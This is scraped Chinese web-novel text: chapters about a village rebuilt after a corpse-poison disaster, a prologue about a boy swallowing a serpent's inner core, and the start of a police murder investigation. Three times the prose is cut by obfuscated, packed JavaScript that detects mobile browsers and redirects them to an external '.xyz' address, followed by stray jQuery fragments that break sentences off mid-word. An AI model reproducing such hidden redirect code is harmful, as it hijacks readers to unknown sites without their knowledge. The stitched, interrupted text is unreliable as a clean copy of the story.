;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988028|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
细细看去,刘晟眼圈青黑,口内虎牙突出来,森然可怖,双手的指甲足有两寸长,且呈现出黑紫色。
这一切症状都显示出,他身中尸毒。
“这才过了一天,怎么如此严重?”云黎问道,“那天薛兄弟隔了两天也没有这样过啊——”
“可能是因为,薛暮冉只是被沾染的尸毒的狼牙咬到,所以中毒不深。只是,不知道这家伙是怎么中的毒。不过,你们这样绑着他,是要烧死他吗?”柳水鹤惊讶道。
刘大姐有些扭捏起来,解释道:“其实,是他自己要绑起来的,说是不想害人。如果救不回来,就让我们烧死他。”
“这个程度,应该还有得救,拿糯米每天为他吃,慢慢的就好了。只是,为了以防万一,还是先绑着吧。”说罢,柳水鹤看了眼烧的漆黑的村庄,面露愧色,冲齐聚在广场上的村民们猛地弯下身子,真诚地道歉。
有人抹眼泪,有人生气,绝大多数人却毫无反应,呆呆看着眼前的地面,不知道在想些什么。
云黎心中悲痛,此时也不能继续沉沦,招呼众人共建家园。
只要人还活着,希望就还在。
这时,薛暮冉猛地一拍大腿,道:“糟了庄老还等着蛇丹救命呢!”
两人这才想起来,伴冬还在山上的茅草屋里照顾庄老。
“等你们的蛇丹估计要到天荒地老吧!”身后传来清亮的女子声音。众人回头一看,伴冬也扶着庄老走过来。
“怎么?庄老没事了?”薛暮冉上前帮助她扶着庄老。
“昨天后半夜,高烧就退了,现在只要好好休息,应该就没事了。”
庄老一脸疲惫,仿佛一夜之间老了十岁,面容沧桑,神情呆滞。
村民找到一张未烧坏的竹床,扶着庄老躺下。
伴冬从怀里掏出一把亮晶晶的宝石,递给云黎:“我想,这些东西拿到县城里肯定还能卖点钱。现在大家需要帮助,不能死守着村里那些规矩了。”
“不如,拿着这些钱大家进城里生活算了。”人群中有人提议道。
“不行!寻水乡的人不能离开这里!”庄老一声大喝,制止了此番言论的蔓延,“云黎,刘广肃已经死了,他以前一直就很信任你,将放哨的重任都交给你。现在我们这群老老小小,只能靠你了。”
人群是极其容易被代表的,云黎就这样毫无阻力的当上了村长。
所幸众人习惯居住木屋,建造起来也不难,这大山之中,唯一不缺的就是木材。众人的温饱问题也利用伴冬给的宝石得到了解决,还买入了一批的种子,打算继续农耕生活。
协助村子重建后,柳水鹤打算离开,薛暮冉也是一样的想法。现在的寻水乡虽然不如过去山清水秀,但是既然有了落脚之地,那么恢复原来的模样也是迟早的事。
临走之前,他掏出那枚蛇丹,递给云黎,“也许有一天,你碰见什么高人,可以有办法救回来那些死去的人们。”
云黎笑了笑,将蛇丹又还给他,“人死如灯灭,各有各的定数吧。强求过去不如过好未来。这东西留在这里,也说不好是好事还是坏事,不如你们带走吧。”
顺着云黎所指的方向,两人一前一后走在崎岖难行的山路上。
薛暮冉道:“你说,这一切都是真的吗?我怎么感觉好像在做梦一样?”
“也许是你尸毒入脑了吧。”柳水鹤随口打趣。
“我很认真的跟你说话呢,”薛暮冉不满道,“而且,我总觉得云黎有哪里不一样了。”
柳水鹤停下脚步,问道:“你什么意思?”
见他郑重其事的模样,薛暮冉吃了一惊,支支吾吾道:“我就是感觉,他跟以前不太一样了。刚开始看见他,就觉得是个开朗活泼的人,但是这些天相处下来,感觉有点看不懂他。虽然他还是笑着,但是总感觉他内心不是那样开心了。”
“经历了这些事,他也成长了——”柳水鹤叹了口气。
这时,树林中飞鸟扑腾,凌空不回。两人收凛心神,盯着那片树林。片刻后,传来女子说话的声音:“终于被我赶上了!”
来人一张圆脸,眼睛大而无神,一笑起来嘴边还有两个梨涡,正是伴冬。
“怎么是你?”薛暮冉又惊又喜,“庄老呢?”
“他那么大年纪,肯定要留在寻水乡养老了啊。我本来就不是寻水乡的人,要走,也是应当的。”
“那你要去哪里?”柳水鹤问道。
“嗯——”伴冬沉吟着,“暂时没想好,先跟着你们吧。”
就这样,三人踏上了回县城的路途。此时,他们根本没有注意到,山林之间,有人正在注视着他们。
不过,这都是后话了。
13. 楔子 因缘小种
黄沙遍地,满目疮痍,狂风卷着一地的灰尘不断打在行人的脸上,身上。身着一袭灰色长袍,须发雪白的老者凝神望向远方的高山,冲身旁的孩童笑道:“就快到了。”
那孩子约莫七八岁,眉目清秀,肤色雪白,更衬得一头乌发如同墨染,只是那双眼珠子黑中透着浓郁的紫色,像两粒熟透了的葡萄。他抬头看着老人,眼中闪过一丝难以言喻的不舍与悲伤。
片刻时辰,两人已到了山脚下。仰头望去,高山直冲云霄,顶峰似有云雾缭绕,看不到尽头。眼前处处是绿树,遍地开红花,透着盎然生机。与方才的苍凉之地相比,此处好比是那境外的桃花源,仙人住的福地。
这时,那孩子轻轻扯住老者的衣袖,问道:“师父,非去不可吗?”
老人抚着长长的胡须,眼神悠远,语气坚定:“孩子,这是一条非去不可的路,你只需送为师去到山顶即可。”
“可是,明明可以——”孩童带着哭腔,眼里泛出泪珠。
“别哭,这是我自愿的,众生皆苦,我不入地狱,又能指望谁呢?”
“可是去了地狱,就能拯救苍生了吗?”孩子抹干泪水,问道。
老者苍凉一笑,喃喃道:“天下之大,为师只能拯救那一方土地,一方人民罢了。”
“人生在世,不过短短数十载,为了这样短暂的生命牺牲自己,真的值得吗?”
“没什么值不值得,不过是我此生所求罢了。”
老者牵着孩子走上斜坡,往山顶前行。不知过了多久,耳畔传来汹涌的浪潮之声。孩童止住脚步,再次拉住老者的手,问道:“究竟是为了那方土地,还是为了那个人?”
“既是为了土地,也是为了人。”老者松开手,眼神迷离,似乎想起了往事,那年,那月,女子坐在树枝上,雪白的脚踝一荡一荡的模样。
他独自往前走着,来到悬崖边席地而坐。往前不到一米的地方,就是万丈深渊。他闭上眼睛,听着那巨浪滔天的动静,喃喃道:“既如此,不如献出这身残躯,换得你百年安稳。”
那孩童也走过去,在老者身旁坐下,一双暗紫色的眼睛直直看向山崖下,只见一汪深潭坐落在三座高山之中,殷红的湖水无风起浪,不断拍击着陡峭的山壁,浪潮退去,露出的山体已经通红一片,像是染上了鲜血的颜色。
他伸出右手,凝望半晌。身旁的老者见状,也不说话,静静看着对面的高山。
“我愿意帮你,不是为了所谓的大义,所谓的苍生,只是为了师父你曾经救过我的命。”孩子继续看着那只右手,声音沙哑起来。
“为师也是一样。”老者轻轻笑起来。
那只苍白的手缓缓抬起,抚在同样苍白的脸上,往上移动,在眼睑下停住,他最后看了一眼天空,下一刻,眼前已经一片血红。
将眼珠子递给老者,血色的泪水从右眼眶中流进嘴里,咸咸的。他已经分不清这到底是泪水,还是血水。
老者自始至终没有转过头,只是将眼珠子拿在手中,继续看着远处,低声道:“抱歉了。”
“这条命都是你的,又有什么可道歉的。”孩子抱住膝盖,将头抵在上面,“你去吧,我会在这里守着你。”
老者起身,走到悬崖边,对着风说道:“如果苍天有眼,只希望能保你们一世自在。也不枉费了我这条贱命残躯。”
说罢,纵身一跃,已经跳下悬崖。
那孩童将头埋进膝盖中,强忍着悲苦,只有几声呜咽传出。耳畔浪潮声音逐渐平静下来,他抬起头,走向悬崖边,只见那山下深潭已经恢复平静,再无波澜。
他仔细在其中搜寻着师父的影子,却一无所获。心下失望,刚欲转身离去,一阵狂风袭来,卷着那件灰色长袍飞上天空。
袍子飘飘荡荡,落在旁边的树干上,他一招手,那袍子凌空飞起落到他手上。一滴滴鲜红的泪水染湿了袍子,他终于忍不住,跪倒在地放声痛哭,既为已经离去的师父,也为了即将孤身一人的自己。
摸着还在渗血的眼睛,他将长袍叠好,塞进怀里,四处望了望,天地之间空无一物,似乎只剩下他自己。既如此,此生又有何意义?
想到这里,他摸了摸怀里的袍子,似乎还残存着一丝体温,他脑中想起过往种种,孤身一人的落寞,旁人避之不及的惧怕,唯有师父会牵住他的手,带着他云游四方。如今物是人非,人已不在,他万念俱灰,只觉得人生已无生趣,于是转身也跳下悬崖。
只听见耳畔风声咧咧,刚一接近湖面,一阵狂风卷着他轻轻飘至岸边。原来不知何时,那件灰袍竟然从怀里滑落,无故起了风包裹着他,这才没有落入那血色深潭之中。
他坐在狭窄的水潭边,忽然瞥见几只黑色的影子从血水中飞速游过来,他慌忙起身后退,贴在红色的山墙之上。
两道黑影从水里凌空飞来,他转侧身躲闪,忙乱之际将那道袍也遗落在暗褐色的草丛之中。那黑影直直撞向山体之上,溅出几道黑色的血迹。
失去生命的躯体掉在地上,他刚想上前查看,只见湖中又飞过来几个影子,无奈,他只能不断后退躲闪。不多时,已经退无可退,只得扶着岸边一株病恹恹的黑树,攀了上去。谁知那些水里的东西不断冲上来撞向山壁,留下一块块黑色的血迹,像开了一墙壁的黑莲花。
恰巧有一只掉在他脚边,他踢翻了那蜷曲着的尸体,这才看清那东西的长相,竟然是一条黑蛇。只是头部巨大,两侧生着翅膀似的耳朵,还在一扇一扇的抖动着。
这时,身下这棵歪脖子树忽然颤巍巍晃动起来,他愕然转头,只见一条碗口粗的黑蛇从湖水中攀岩而上,巨大的头颅两侧,生着扇状耳朵,一张巨嘴猛地张开,尖锐的獠牙带着几丝晶莹的黏液,那蛇扇着耳朵,冲他的脑袋咬去,一口将他吞进肚内。
迷糊间,他只觉得周身酸痛不止,而且伸展不得,无奈,只能睁开眼睛,只见眼前一片猩红,似乎正在那怪蛇的腹内之中。
既是在蛇腹之中,这红光又是来自何处?他疑惑了,转头四顾,只见左后方悬着一颗夜明珠似的赤色圆球,正发出淡淡的红色光芒。
他想起师父曾说过,这血潭虽然剧毒无比,却有一种腾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988029|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蛇可以畅游其中,那蛇的内丹不但可以令修行之人道行倍增,甚至可以永驻青春不老。
只可惜此时他动弹不得,好在这巨蛇似乎吃饱了,也不再动弹,只停在岸边休息。于是他慢慢在蛇腹中翻转身体,终于将头贴到那颗明珠。刚欲伸嘴去够,忽然身下一阵晃动,原来那蛇已经察觉到体内之人尚有气息,于是打算攀到树上绞死腹内之物。
黑蛇沿着凹凸不平的石块往上趴着,寻找结实的树木作为依托之物。那肚中之人可不好过,整个人倒吊着,血气上涌,只觉得耳内轰鸣,头晕眼花,眼睛又往外渗出血来。
只是此举恰好将他送至明珠边上,他伸出下巴勾住那珠子,整个吞进口中。忽然间身体猛地摇晃起来,甩得他头晕眼花,丝毫不知发生何种情况。原来此时那黑蛇已经狂乱暴躁,正攀在悬崖上四处游走。
他将巨蛇百年来修得的内丹夺去,在体内调息运转,不多时,周身痛楚减轻,连眼睛的伤似乎也慢慢恢复。他挣扎着从腰间掏出一把匕首,一刀刺进蛇腹之上,饶是这蛇皮坚韧无比,也抵不过利刃的锋利。
他从蛇腹之中露出个头,往下看去,顿时惊出一身冷汗。原来此时,他正悬在万丈悬崖的半中央,这巨蛇躺在一处凸起的山石之上,已经奄奄一息。
他露出上半身,刚欲钻出,只见那蛇扑闪着耳朵,将巨大的脑袋凑过来,尖锐的牙齿闪着寒光,一口咬过来。
一闪身,他又钻回蛇腹之中,这才躲过一劫。深知此举不过是缓兵之计,无法真正解决眼前困境。正苦思冥想间,忽然只觉得浑身一轻,接着猛地下坠,原来那蛇打算同归于尽,竟然自行从山壁之上跃下。
慌乱间,他窜出蛇皮,右手抓住突出的山石,左手将匕首插进岩间缝隙。只可惜身子太重,终究难以阻住下坠的趋势。
匕首在石块上划出刺目的火花,他右手已经血红一片,皮肤被石块磨去大片,露出血色的肉块。终于,在离地几十米的高处,他止住身子,挂在山壁上。
那只已经开膛破肚的巨蛇还在山脚下徘徊,不时吐着信子,似乎只等着他一掉下来就吞掉他。
原本打算赴死的他,遇此情景,忽然又不想死了,只觉得眼下第一要紧事就是逃离这黑蛇的深渊巨口。
“死我也要自由的死!谁要被这怪物吃掉!”他嘴里说着,慢慢往上爬去。
日头隐入云层,月亮爬上山坡,瘦小的身影在悬崖峭壁之中缓缓上移,终于,在朝阳的第一缕阳光中,他爬到了顶上,躺在悬崖边喘着粗气。双手血淋淋的,露出白色的指骨,膝盖处也有两个血窟窿。
他望着湛蓝色的天空,伤口处一突一突的血脉跳跃,让他感受到了生命的律动。
既然活下来了,不如就这样吧。他缓缓闭上眼睛,感受着从小腹处缓缓涌上来的暖洋洋的气流,那颗赤色内丹在他体内盘旋不息。
斗转星移,此去不知过了多少年,眼看着朝阳起落,草木荣枯,那血色深潭重起波澜。此时天下已经大安,人民安居乐业,只是在这看似平静的表面之下,已经有几股暗流正慢慢涌动。
14. 第一章 因缘小种
野草枯黄,断肢遍地,远处硝烟弥漫,少年独自走在这片刚刚被炮弹轰击过的战场,手里拿着一截烂树枝。
不多时,肚子咕咕叫起来,他才意识到,自己已经好几天没吃过东西,只靠着臭水沟里的污水过活。如果今天再找不到食物,也许,他也会跟这些尸体一样,横死沙场吧。
于是,他加快脚步,往前方营地走去。只要到了有人的地方,也许会有人可怜他,给点吃的喝的,说不好,还会拉他入伙。
至于对方是哪一边的队伍,已经都无所谓了,只要给他几块硬馒头,他愿意做任何事。走着走着,他好像看见前面有几座军绿色的帐篷,在枯黄的野草地上面显得分外明显。他感到小腿像灌了铅似的沉重,逐渐酸软不堪,再也抬不起来。低头一看,原来不知何时,他一双瘦弱的小腿已经深陷泥潭,逐渐下沉,再也不能往前一步。
污泥已经漫上胸口,他感到呼吸困难,想大声呼救,可惜嗓子像是被人堵住似的,一丝声音都发不出来。他抬起头,看向黄澄澄的天空,眼角渗出泪水。
腥臭的污水灌进他的口鼻,黑暗吞噬了他的意识,死神加快脚步走过来,他感觉手腕一紧,似乎黑暗中有一条看不见的触手正在向他靠近。
想挣扎,可是浑身无力,肚内空空,饥饿的声音在黑暗中更加清晰——咕咕——咕咕——他用另一只自由的手摸向瘪瘪的肚皮,心想道:也许死了,就不会饿了吧。
淤泥涌动,似乎有什么东西过来了。猛地,一双巨大的眼睛凭空出现,死死盯着他,发出轰隆隆的说话声:“死了你也吃不饱!”
“哇!”一声尖叫,他从椅子上掉下来,摔得屁股生疼。
“哟!小薛啊,一大早就犯困,等会萧队长看见了,看他不罚你去跑圈!”在收拾文件的中年男人笑着打趣,他眼角下垂,几条皱纹均匀的分布在眼睛和嘴角周围,头顶光溜溜的,没有头发,像打过蜡似的,在阳光的照射下微微泛着光芒。
“李大爷,瞧你这话说的,我这不是昨夜巡逻刚刚才回来,所以犯困嘛,又不是平白无故的!”被称为小薛的年轻男人直接出口反驳。
“对了,师姐呢?刚刚不还在这里吗?”他抬头四顾,又开口问道。
“小田啊,她刚刚出去买早饭了,说是趁着大家没起来,把早饭买好。你瞧瞧你田师姐,跟你一起巡夜回来还想着大家伙,再看看你!就知道睡觉!”
“我!”他一时气结,也找不到合适的说辞只好转移话题,“队长呢?他们去哪里了啊?还在睡觉啊?”
“刚刚接到报警,萧队长带着几个人先过去勘查了。你们昨夜刚值过班,他说可以不用过去。”老李将整理好的文件都夹上文件夹,抱在怀里,“所以啊,你跟田芸淼今天可以在警局休息了。”
“那怎么行!我来了彩衣镇快三个月了,一件大案子都没碰见,这次可不能错过!不行,我得去现场跟着队长学习学习!对了!老李!案发现场在哪里?”
得知地点后,他飞快的跑出警局,只剩下老李在背后一直大叫:“薛穆冉!你这小子还是这样冒冒失失的!还有,别忘了你田师姐!她还在街上买早饭呢!”
距离警局不远的养蚕街上,挤满了卖杂货的摊贩们。最近恰逢端午节,所以生意格外红火,一群孩子举着糖葫芦在街上互相追逐嬉戏。
衣着褴褛的乞丐也能轻松填饱肚子,有些心肠好的,甚至还会赏点酒水。薛穆冉四处张望,寻找师姐的身影,结果意外发现墙角斜躺着满面胡茬的流浪汉,喝得醉醺醺的,还在说着胡话。
他心想,现在粮食短缺,酒水管控如此严格,竟然还有流浪汉可以喝得醉倒在地上,真是奇哉怪哉!
街角旁边有一家卖炸串的小摊,生意极好,据说是从海外学的手艺,做出的甜辣酱极其鲜美,引得无数年轻人趋之若鹜。此时也就他家摊子人气最旺,挤满了客人。
队伍最前面站着个长发过腰,身材窈窕的女孩,她正凝神皱眉,仔细挑选着眼前摆放整齐的被竹签串好的食物。
米黄色的斜对襟短褂,配着黑色的过膝长裙,显得女孩端庄又不失活泼。一头秀发被丝巾随意扎着,额间几缕碎发被风吹得挡住眼睛,她伸手去拨。因为过于专心看着眼前的炸串,她忽略了身后拥挤的人群。
一只粗糙、宽大的手掌穿过紧密的人群,逐渐往女孩臀部靠拢。在似有若无间,轻轻触碰着女孩。
恰到好处的力度,让人不易察觉,女孩很快挑完了炸串种类,递给老板。然后猛一转身,抓住身后那只手,蹙眉怒道:“我忍了你三分钟,还不停手,那就别怪我了!走,我们去警察局!”
被抓着手腕的是个身材高大的年轻男人,眉毛又黑又粗,让原本有些过于秀气的五官也带上几分粗狂的气概。
他听完女孩威胁的话语也不害怕,笑嘻嘻的反问:“那我倒要看看,你凭什么要带我去警察局?”
“你!你自己做出这样不知廉耻的事情,还好意思问我?”女孩似乎没料到对方这样不可理喻,气得满脸通红。
“我?我做了什么?”那年轻男子抽回手,轻轻揉着被女孩捏疼的手腕,继续调笑:“你倒是说啊!”
穿着粗布褂子的路人纷纷侧目观望,有的男人甚至用下流的眼光上下扫视起女孩来。恰巧走到此处的薛穆冉远远瞧见那片聚集的人群,忍不住也凑上去看,只见人群中站着个楚楚可怜的女孩,紧咬下唇不发一言。
他有些奇怪,低声询问身边卖炸油条的店家,这才知道原来又是彩衣镇一霸——田家大少爷在当街调戏女孩。
刚准备出手教训一下那个恶霸,只见白影一闪,紧接着听见男人的‘哇哇’惨叫声。他定眼看去,原来那占人便宜的男子此时正被人倒扣着手腕,疼得直叫唤。
再看站在那男子身后的人,也是一个年轻女孩,身材高挑,穿着修身的深蓝色衬衫跟黑色牛仔裤,正是他要寻找的师姐——田芸淼。
田芸淼一头细碎的短发被风吹得炸开来,露出两只小鹿般温顺的眼睛,撇嘴的时候,隐约可以看见嘴角的酒窝。
“我看见了,你占人家姑娘便宜!还不道歉!”田芸淼厉声命令着被辖制在手下的男子,眼里怒火烧得正旺。
“好好好,我道歉!对不起,我不该占你便宜!”男子连声道歉,并央求着短发女孩放他一马。
似乎是见他态度诚恳,田芸淼松开手,又一脚踹开那个男子,怒道:“下次再犯,等着屁股开花吧!”
在围观群众的大笑声中,男子仓皇而逃。
短发女子紧随其后,很快街口没了他们的影子。薛穆冉愣了一下,这才想起案子的事,连忙追上去,嘴里不断叫着:“田师姐,你在哪里啊?不得了啦!发生大案子了!”
毫无回音!他一边快速往前跑着,一边睁着眼睛四处张望,生怕师姐遭到暗算,正急得不知如何是好之时,忽然看见田芸淼从一处巷子里走出来叫道:“小薛!我在这里!”
薛穆冉脚下速度快得吓人,一下子冲过来仿佛刹不出车似的,差点撞上她,幸好最后时刻侧身冲了过去,这才没落个人仰马翻的结局。
“抱歉抱歉!”他弯腰喘着粗气,好一会才缓过来,站直了身子后,他比田芸淼高一个头。看田芸淼脸色铁青,似乎还在生气,他挠挠后脑勺,有些不好意思起来。
“你啊,总是这么冒冒失失的,来警局也好几个月了,怎么还是改不了!”田芸淼叹了口气,接着问道,“到底发生什么事了?边走边说吧!”
两人沿着街道往前走去,薛穆冉低着头,凑近田芸淼耳边,小声说起事件发生的经过来。
原来这天早上七点钟左右,有人在小镇西边的树林里发现一具衣衫不整的女性尸体。现在警方已经划出警戒区,防止无关人等进入。
队长萧泰安已经先过去现场查看,因田芸淼与薛穆冉昨夜巡街,所以并未带上他们。
“对了,田师姐,你不是出来买早饭吗?怎么啥都没买啊?”薛穆冉看着女孩空着双手,好奇地问道。
“刚准备买,发生了点事情,算了,回头再吃吧。现在啊,我怕你吃了,等会去现场还得吐出来!”田芸淼笑容勉强。
似乎为了摆脱这种不畅快的情绪,她加快脚步往西边树林走去,薛穆冉只好止住问话,也跟着小跑起来。
现今社会,百废待兴,交通设施尚不完善,大多是人力车或者只有极少数富人阶层才会有汽车作为代步工具。因此两人只能靠着腿脚步行,赶往案发现场。一路小跑着,很快到了地方。
黄色的警戒线在树干之间拉开,穿着警察制服的男人们聚集在里面,外圈则围着一群看热闹的老年人。
“怎么这么多老头老太太?”薛穆冉低声抱怨,却发现
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988030|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
本该在他身边的田芸淼已经没了影子。他慌忙往后张望,才发现她正靠在一棵树身上休息,满面通红,喘得上气不接下气。
他这才想起来,田芸淼昨夜巡街之前好像就没吃东西,早上又没休息,就出去买早饭,直到现在估计连口水都没喝上。看着师姐失去焦点的迷茫眼神,他忍不住懊悔自己没能早些察觉。
经过这一路的奔跑,别说她一个女孩子家身体吃不消,就连他这个七尺男儿也有点头晕眼花。稍一停歇,只感觉一颗心脏砰砰直跳,快蹦出胸口来。视野发黄,还有无数黑色的雪花点在眼前乱晃,视线变得狭窄,四周一圈黑色,只剩下当中一块能勉强看清脚下的路。
他揉揉眼睛,视野逐渐恢复清晰。田芸淼精神似乎好了点,走到他身边。两人一前一后钻进黄带子围起来的区域。
此时,队长萧泰安正蹲着检查地上的细枝末节。他将制服外套脱下,只穿着深色的衬衫,暴露在外的皮肤黝黑,一双手掌宽厚有力,且关节粗大。他捡起地上一截被踩断的树枝,低声询问着旁边一个身穿蓝色运动装的年轻男人。
薛穆冉见其他同事都在树林中搜寻其他证据,刚准备喊上田芸淼一起,却发现她已经凑到萧泰安身后,打算偷师学艺。他转过脸偷偷笑了笑,也走上前去,想听听队长的问话内容。
她在大学期间,曾经跟随着其他同学一起参军,报效国家。退伍后,她回到学校,继续完成学业,之后回到彩衣镇,这个她并不熟悉的故乡。因为曾经的军人身份,她很轻易就进了警局工作。
作为警察,他与田芸淼是不够资格的。极度缺乏实战经验,加上彩衣镇治安一向很好,极少有杀人案件发生,所以也很少有观摩学习的机会。眼下难得有案件发生,虽然因此而暗自高兴十分不道德,但是现在两人的心情应该都差不多,那就是兴奋难耐。
“你早上是从哪个方向跑步过来的?”萧泰安举着那截断了的树枝,询问案件发现者。
这片树林一向人迹罕至,如果这截断树枝不是目击者踩断的,那么极有可能是凶手经过后,踩断留下的。薛穆冉如此猜测着,看见田芸淼往萧泰安身旁又靠近了一些,似乎想听得更清楚一些。
“我从家里出发,靠北边的天润小区,绕着护城河一路跑过来的。从那边,沿着树林外面那条小道——”穿运动装的男人指着不远处那条小路,手指从左边滑到右侧,紧张的回答。
“你走过来的时候,经过哪些区域了?”萧队长指着尸体那圈位置,继续发问。
“我跑到那里,”目击者指着树林外的那条路,“发现这里有个白色的影子,就走过来想看看仔细。”
他脸上浮现恐惧的神色,语气也轻轻颤抖着,“然后就发现,这里躺着的是个人,我就赶紧去街上电话亭打电话报警了。大概就是那棵树的位置,我站在那里没敢走过来。”
指着一米外的那棵榉树,男子紧张的看向萧泰安,似乎害怕对方不信自己的话。
“好的,我知道了,后面可能还需要找你问话,还希望你近期不要离开彩衣镇。”萧泰安轻轻点了点头,结束问话。
又转头看向一直在他身后探头探脑的田芸淼,问道:“现场勘查了吗?”
“没,还没——”
他们两个刚到现场,也没来得及勘查,就顾着跟在萧泰安身后观察审讯技巧,一时间也有些理亏。薛穆冉摸着额头,尴尬一笑作为掩饰。
旁边的田芸淼就没这么厚脸皮,羞愧的脸颊绯红,也不知道是不是刚刚一路小跑的后遗症。
“等你们学会在现场环境中找寻蛛丝马迹,再来提高问话技术吧。一口吃不成一个胖子,得细嚼慢咽,才能消化吸收。”萧泰安语气平和,娓娓道来,像老师在教导学生一般。
“我知道了。”两人异口同声,一起往尸体附近走去。
刚刚跑得急,还没仔细看过这具尸体。现在离得近了,才发现这具穿着白裙子的女尸,死相着实奇怪。
白色的长裙凌乱的翻卷在女子大腿根部,露出死者沾满泥土的双腿。尸体双手平摊在两侧,染得血红的指甲缝里也都是黑色的湿土。
再往上,女子张着嘴巴,口红被人抹开,胡乱的印在脸颊上。那对眼珠子已经消失不见,露出一双血肉模糊的黑洞。
像是一只来自地狱的恶鬼,正在无声地呐喊着心中无限的冤屈。
15. 第二章 飞龙吞龙
见此惨状,两位警局新人俱是心惊不已,强忍着胃里翻滚而上的不适感,他们接过法医周青语递过来的手套,蹲下来仔细查看周遭情况。
“看这衣服皱的厉害,似乎生前经历过剧烈的挣扎,你看,这手腕上还有勒痕。”看着田芸淼毫不犹豫,直接翻过死者的右手腕,薛穆冉有些感慨,谁说女子不如男这句话丝毫不假!
死者手腕上面赫然印着好几道红色痕迹。
“还有,你看死者没有穿鞋,脚上全是污泥,像是一路拖过来这片小树林的。可是,这附近落叶那么多,又完全没有拖拽的痕迹,太奇怪了——”
田芸淼低眉沉思,似乎想不通其中的关联。
以前只觉得田芸淼做事积极果断,没想到真正碰见命案后也丝毫不惧,这点倒让薛穆冉有些刮目相看了。也许是被她的积极热情所影响,薛穆冉也打起精神,观察起地上的女尸来。
“昨夜,又没有下雨,这湿乎乎的污泥是哪来的呢?”薛穆冉发现死者脚上沾着不少黑色泥巴,有些疑惑。
“污泥——”田芸淼听见了,走去尸体脚边蹲下,伸手轻轻捏下一小块黑泥放在鼻子下面细细闻着,片刻后恍然大悟道,“我知道了,这是护城河里的泥土!”
“你的意思是说,死者最开始在护城河那边遇到凶手,然后被带到这边树林杀害的?”薛穆冉再次惊讶。
“那护城河离这边有20分钟的路程,一路过来,难保不会被人看见,凶手为什么会选择来这么远的地方二次行凶呢?更何况,护城河昨夜举行祭祀河神的活动,一堆人在那边放河灯,要是有动静,不可能没人发现的。”
这片树林虽然没什么人愿意来,但是不远处的林间小路却是大爷大妈们晨练时最喜欢的地方。这也是为什么来围观的都是老年人,因为他们平常就喜欢绕着护城河散步。
谁知道田芸淼听了这话,却眼放异彩,惊喜道:“昨夜,祭祀河神,是要放烟花的吧?”
这没头没脑的一句问话,一下子点醒薛穆冉,他也反应过来,一拍后脑勺,大声叫道:“对啊,我怎么没想到!也许,凶手就是趁着放烟花的时候,带走死者,来到这片树林杀害的。”
“放烟花的地点,就在‘吞龙桥’,如果不走大路,而是穿过这片林子的话,步行应该要不到15分钟。”田芸淼霍地一下站起身,“我去跟队长汇报一下,等会去吞龙桥看看情况。”
此处是案发现场,仍有很多地方需要调查,因此萧队长做出安排,让田芸淼带着薛穆冉先过去吞龙桥。剩下的人将现场证据收集完毕后,再过去。
于是这头,田芸淼依旧选择兵分两路,她穿过林中小路,赶往吞龙桥,薛穆冉则选择林子外侧那条大道。
对这个安排,薛穆冉是有些疑虑的,让师姐一个女孩子家独自穿越这茂密的树林,加上刚刚发生的命案,他实在不放心。可是田芸淼认为林中小路是捷径,又是白天,应该不会出事。何况只有这样才能算出时间差,沿途还能继续搜寻线索,无奈,他只能同意。
太阳闪耀着金色的光芒照在吞龙桥上,田芸淼先到一步,靠在栏杆边,看着腕表算了下时间,预计还得等上一会。看着碧波荡漾的飞龙潭,她的思绪也跟着微微晃动,不禁有些后悔,早上做得是不是太过分了些,伤了田云霄的面子。但是一想到他那副死不悔改的模样,她心头就有股无名火焰。
早上,她跟着田云霄来到一处隐蔽的巷子,抓住对方衣袖,骂道:“我说,田云霄,你下次再这样,我真的要报警抓你了!”
“臭丫头!刚才那么多人,你这样害我!我以后还怎么见这群街坊邻居?”男子一手甩开袖子,眼中满是怒气。
“你已经快三十了,还成天没个正经,到处占人女孩子便宜,你好意思吗?”她也有些生气,瞪着一双杏眼,看着眼前这个不长进的哥哥。
“你过你的日子,我有我的生活,咱们互不干涉!你以后再敢来管我的闲事,就别怪我不念及兄妹亲情,下狠手了!”田云霄甩下这一句,怒气冲冲消失在巷子中。
剩下田芸淼独自站在那里,一脸的萧索落寞。然后听见薛穆冉的叫声,她才意识到田云霄已经离开,只剩下她自己独自站在那里。收拾好心情后,她才走出巷子,但是当时她的脸色估计也不会好到哪里去。
“唉——”她抬头看了眼太阳,已经耀眼的让她无法直视。想到早上对薛穆冉态度不好,她心里有愧,想着该怎么补偿才好,看见旁边有一家小卖铺,顿时有了主意。
这大热天,等薛穆冉跑过来只怕也口干舌燥了。于是她走到小卖铺门口挑了两瓶水,刚要付账,却发现口袋空空,钱包似乎忘记带了。一时间,她有些崩溃,一连串的事情不断不断在她脑海中盘旋,她紧紧握着瓶身,才忍住眼泪没有掉下来。
